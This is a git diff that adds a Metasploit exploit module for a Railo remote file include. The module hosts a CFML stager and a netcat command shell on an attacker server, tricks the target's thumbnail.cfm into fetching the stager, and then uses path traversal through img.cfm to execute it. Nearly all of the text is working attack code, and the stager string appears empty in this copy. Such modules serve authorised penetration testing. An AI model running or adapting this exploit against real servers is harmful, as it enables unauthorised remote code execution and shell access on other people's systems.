diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb new file mode 100644 index 0000000000..59c66c537e --- /dev/null +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Railo Remote File Include', + 'Description' => '', + 'License' => MSF_LICENSE, + 'Author' => [ + 'dronesec', #Discovery/PoC + 'bperry' #metasploited + ], + 'References' => [], + 'Payload' => { + 'Space' => 99999, #if there is disk space, I think we will fit + 'BadChars' => "", + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat' + } + }, + 'Platform' => %w{ unix }, + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + }, + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 28 2014')) + end + + def check + + end + + def exploit + + if datastore['SRVHOST'] == '0.0.0.0' + fail_with('SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + + @shell_name = Rex::Text.rand_text_alpha(15) + stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' + + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_stager(cli, req) + }, + 'Path' => '/' + stager_name + }}) + + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_shell(cli, req) + }, + 'Path' => '/' + @shell_name + }}) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'), + 'vars_get' => { + 'img' => url + '/' + stager_name, + 'height' => '5000', + 'width' => '5000' + } + }) + + unless (res && res.code == 500) + fail_with('Server did not respond in an expected way.') + end + + print_status('Waiting for first stage to download...') + + i = 10 + while !@staged && i > 0 + select(nil, nil, nil, 1) + print_status("Waiting for #{i} more seconds...") + i = i - 1 + end + + @staged = false + + if i == 0 + fail_with('Server did not request the stager.') + end + + hash = Rex::Text.md5("#{url + "/" + stager_name}-5000-5000") #5000 is width and height from GET + + hash.upcase! + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), + 'vars_get' => { + 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, + 'thistag.executionmode' => 'start' + } + }) + end + + def on_request_shell(cli, request) + send_response(cli, payload.encoded, {}) + handler(cli) + end + + def on_request_stager(cli, request) + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name + stager = '' + stager << '' + + png = `curl http://weaknetlabs.com/images/metasploit-i-got-in.png` + + stager.each_byte do |b| + png << b + end + + png << 0x00 + + send_response(cli, png, { 'Content-Type' => 'image/png' }) + + @staged = true + + handler(cli) + end +end